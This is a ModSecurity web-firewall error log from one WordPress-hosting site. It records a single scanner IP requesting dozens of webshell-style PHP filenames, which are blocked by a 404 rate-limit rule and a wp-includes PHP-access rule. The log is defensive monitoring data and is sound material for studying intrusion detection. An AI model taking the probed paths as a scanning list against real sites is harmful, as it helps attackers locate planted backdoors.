[Thu Mar 26 20:54:23.433910 2026] [:error] [pid 19818:tid 19821] [client 20.240.134.170:40755] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acUsf8zaSnm3d1BeM5UssgAAAME"]
[Thu Mar 26 20:54:24.242346 2026] [:error] [pid 31670:tid 31690] [client 20.240.134.170:51843] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acUsgDXVthXxCnWjOTTFKgAAAVI"]
[Thu Mar 26 20:54:25.467721 2026] [:error] [pid 19712:tid 19791] [client 20.240.134.170:46959] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acUsgdWhKhRNqm23vFMosgAAAI8"]
[Thu Mar 26 20:54:26.337661 2026] [:error] [pid 31717:tid 31728] [client 20.240.134.170:63439] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wtiiy.php"] [unique_id "acUsgr-SCF7YDISDX4_0owAAAYY"]
[Thu Mar 26 20:54:27.120825 2026] [:error] [pid 19710:tid 19728] [client 20.240.134.170:61161] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acUsgwVEWP8Ar68Njk4QHAAAAAY"]
[Thu Mar 26 20:54:28.166789 2026] [:error] [pid 19818:tid 19844] [client 20.240.134.170:59471] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acUshMzaSnm3d1BeM5UstgAAANg"]
[Thu Mar 26 20:54:29.369530 2026] [:error] [pid 31778:tid 31805] [client 20.240.134.170:30802] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acUshQ3kybI2o-xasmAZ5AAAAcw"]
[Thu Mar 26 20:54:30.793293 2026] [:error] [pid 31780:tid 31841] [client 20.240.134.170:46920] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xvs.php"] [unique_id "acUshpJDwZsy5O4ZXEi-kAAAAhQ"]
[Thu Mar 26 20:54:31.701154 2026] [:error] [pid 31780:tid 31827] [client 20.240.134.170:38055] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sid3.php"] [unique_id "acUsh5JDwZsy5O4ZXEi-kgAAAgc"]
[Thu Mar 26 20:54:54.740780 2026] [:error] [pid 31778:tid 31806] [client 20.240.134.170:57743] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acUsng3kybI2o-xasmAZ-AAAAc0"]
[Thu Mar 26 20:54:55.779588 2026] [:error] [pid 31670:tid 31685] [client 20.240.134.170:39366] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acUsnzXVthXxCnWjOTTFmgAAAU0"]
[Thu Mar 26 20:54:57.042245 2026] [:error] [pid 19818:tid 19837] [client 20.240.134.170:46964] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acUsoczaSnm3d1BeM5UsyAAAANE"]
[Thu Mar 26 20:54:58.166503 2026] [:error] [pid 19710:tid 19740] [client 20.240.134.170:30800] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/lib.php"] [unique_id "acUsogVEWP8Ar68Njk4QJwAAABI"]
[Thu Mar 26 20:54:59.162529 2026] [:error] [pid 19710:tid 19729] [client 20.240.134.170:63428] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acUsowVEWP8Ar68Njk4QKQAAAAc"]
[Thu Mar 26 20:55:00.033525 2026] [:error] [pid 19711:tid 19757] [client 20.240.134.170:38040] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acUspGj3l1y81GYfluSffgAAAEg"]
[Thu Mar 26 20:55:01.658464 2026] [:error] [pid 31780:tid 31837] [client 20.240.134.170:51898] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acUspZJDwZsy5O4ZXEi-tAAAAhA"]
[Thu Mar 26 20:55:02.812057 2026] [:error] [pid 31780:tid 31841] [client 20.240.134.170:4117] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aifa.php"] [unique_id "acUsppJDwZsy5O4ZXEi-uAAAAhQ"]
[Thu Mar 26 20:55:03.905774 2026] [:error] [pid 31670:tid 31672] [client 20.240.134.170:4536] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acUspzXVthXxCnWjOTTFqQAAAUA"]
[Thu Mar 26 20:55:05.296985 2026] [:error] [pid 31670:tid 31686] [client 20.240.134.170:61154] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acUsqTXVthXxCnWjOTTFrwAAAU4"]
[Thu Mar 26 20:55:07.554203 2026] [:error] [pid 19711:tid 19753] [client 20.240.134.170:65256] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acUsq2j3l1y81GYfluSfhgAAAEQ"]
[Thu Mar 26 20:55:08.770630 2026] [:error] [pid 19711:tid 19749] [client 20.240.134.170:38019] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/erty.php"] [unique_id "acUsrGj3l1y81GYfluSfigAAAEA"]
[Thu Mar 26 20:55:10.811931 2026] [:error] [pid 31778:tid 31807] [client 20.240.134.170:46929] [client 20.240.134.170] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/app.php"] [unique_id "acUsrg3kybI2o-xasmAaCgAAAc4"]
[Thu Mar 26 20:55:12.016618 2026] [:error] [pid 31780:tid 31821] [client 20.240.134.170:30760] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acUssJJDwZsy5O4ZXEi-vAAAAgE"]
[Thu Mar 26 20:55:13.261430 2026] [:error] [pid 19818:tid 19837] [client 20.240.134.170:30809] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acUssczaSnm3d1BeM5Us0QAAANE"]
[Thu Mar 26 20:55:14.611492 2026] [:error] [pid 31780:tid 31820] [client 20.240.134.170:40713] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acUsspJDwZsy5O4ZXEi-wAAAAgA"]
[Thu Mar 26 20:55:16.045406 2026] [:error] [pid 31780:tid 31842] [client 20.240.134.170:54563] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aee.php"] [unique_id "acUstJJDwZsy5O4ZXEi-wgAAAhU"]
[Thu Mar 26 20:55:17.048616 2026] [:error] [pid 60829:tid 60842] [client 20.240.134.170:57765] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acUstfTdjHKeZokybaTS2QAAAQs"]
[Thu Mar 26 20:55:18.870827 2026] [:error] [pid 31778:tid 31795] [client 20.240.134.170:10470] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acUstg3kybI2o-xasmAaEAAAAcI"]
[Thu Mar 26 20:55:19.755014 2026] [:error] [pid 31717:tid 31725] [client 20.240.134.170:30826] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acUst7-SCF7YDISDX4_0uQAAAYM"]
[Thu Mar 26 20:55:20.735326 2026] [:error] [pid 60829:tid 60840] [client 20.240.134.170:63487] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zogy1.php"] [unique_id "acUsuPTdjHKeZokybaTS4QAAAQk"]
[Thu Mar 26 20:55:22.088323 2026] [:error] [pid 31778:tid 31815] [client 20.240.134.170:30766] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acUsug3kybI2o-xasmAaFwAAAdY"]
[Thu Mar 26 20:55:23.473095 2026] [:error] [pid 31778:tid 31799] [client 20.240.134.170:57787] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acUsuw3kybI2o-xasmAaHQAAAcY"]
[Thu Mar 26 20:55:24.458137 2026] [:error] [pid 19818:tid 19839] [client 20.240.134.170:65231] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acUsvMzaSnm3d1BeM5Us5gAAANM"]
[Thu Mar 26 20:55:25.285718 2026] [:error] [pid 60829:tid 60838] [client 20.240.134.170:57788] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/b.php"] [unique_id "acUsvfTdjHKeZokybaTS5wAAAQc"]
[Thu Mar 26 20:55:26.483902 2026] [:error] [pid 19818:tid 19834] [client 20.240.134.170:30720] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acUsvszaSnm3d1BeM5Us6AAAAM4"]
[Thu Mar 26 20:55:27.642279 2026] [:error] [pid 19818:tid 19842] [client 20.240.134.170:10457] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acUsv8zaSnm3d1BeM5Us6gAAANY"]
[Thu Mar 26 20:55:29.652406 2026] [:error] [pid 60829:tid 60835] [client 20.240.134.170:30789] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acUswfTdjHKeZokybaTS7gAAAQQ"]
[Thu Mar 26 20:55:30.367220 2026] [:error] [pid 60829:tid 60854] [client 20.240.134.170:65273] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/a5.php"] [unique_id "acUswvTdjHKeZokybaTS8AAAARc"]
[Thu Mar 26 20:55:31.661400 2026] [:error] [pid 19711:tid 19749] [client 20.240.134.170:40767] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acUsw2j3l1y81GYfluSfnQAAAEA"]
[Thu Mar 26 20:55:32.510496 2026] [:error] [pid 31670:tid 31674] [client 20.240.134.170:30845] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acUsxDXVthXxCnWjOTTFuAAAAUI"]
[Thu Mar 26 20:55:33.499148 2026] [:error] [pid 60829:tid 60835] [client 20.240.134.170:51878] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acUsxfTdjHKeZokybaTS8wAAAQQ"]
[Thu Mar 26 20:55:34.577163 2026] [:error] [pid 31717:tid 31726] [client 20.240.134.170:63435] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/aapig.php"] [unique_id "acUsxr-SCF7YDISDX4_0wwAAAYQ"]
[Thu Mar 26 20:55:35.929716 2026] [:error] [pid 31670:tid 31677] [client 20.240.134.170:51899] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/com.php"] [unique_id "acUsxzXVthXxCnWjOTTFvQAAAUU"]
[Thu Mar 26 20:55:36.888189 2026] [:error] [pid 31780:tid 31826] [client 20.240.134.170:50704] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/com.php"] [unique_id "acUsyJJDwZsy5O4ZXEi-2wAAAgY"]
[Thu Mar 26 20:55:38.161050 2026] [:error] [pid 19818:tid 19833] [client 20.240.134.170:30779] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/com.php"] [unique_id "acUsyszaSnm3d1BeM5Us_AAAAM0"]
[Thu Mar 26 20:55:39.390800 2026] [:error] [pid 19711:tid 19764] [client 20.240.134.170:54531] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/com.php"] [unique_id "acUsy2j3l1y81GYfluSfqQAAAE8"]
[Thu Mar 26 20:55:40.289582 2026] [:error] [pid 19711:tid 19773] [client 20.240.134.170:4102] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "acUszGj3l1y81GYfluSfqwAAAFg"]
[Thu Mar 26 20:55:41.281881 2026] [:error] [pid 31717:tid 31737] [client 20.240.134.170:65249] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "acUszb-SCF7YDISDX4_0yAAAAY8"]
[Thu Mar 26 20:55:42.310550 2026] [:error] [pid 31717:tid 31744] [client 20.240.134.170:57778] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "acUszr-SCF7YDISDX4_0ygAAAZY"]
[Thu Mar 26 20:55:43.099383 2026] [:error] [pid 31780:tid 31826] [client 20.240.134.170:59502] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ta0ol.php"] [unique_id "acUsz5JDwZsy5O4ZXEi-5gAAAgY"]
[Thu Mar 26 20:55:43.827283 2026] [:error] [pid 31780:tid 31830] [client 20.240.134.170:54580] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acUsz5JDwZsy5O4ZXEi-7AAAAgk"]
[Thu Mar 26 20:55:44.534698 2026] [:error] [pid 19818:tid 19823] [client 20.240.134.170:30737] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acUs0MzaSnm3d1BeM5UtEAAAAMM"]
[Thu Mar 26 20:55:45.588399 2026] [:error] [pid 31780:tid 31831] [client 20.240.134.170:61180] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acUs0ZJDwZsy5O4ZXEi-8QAAAgo"]
[Thu Mar 26 20:55:46.575888 2026] [:error] [pid 31670:tid 31672] [client 20.240.134.170:46971] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/gettest.php"] [unique_id "acUs0jXVthXxCnWjOTTFwQAAAUA"]
[Thu Mar 26 20:55:47.505181 2026] [:error] [pid 19711:tid 19768] [client 20.240.134.170:63471] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acUs02j3l1y81GYfluSfsAAAAFM"]
[Thu Mar 26 20:55:48.705777 2026] [:error] [pid 19712:tid 19791] [client 20.240.134.170:60739] [client 20.240.134.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/8.php"] [unique_id "acUs1NWhKhRNqm23vFMoxAAAAI8"]
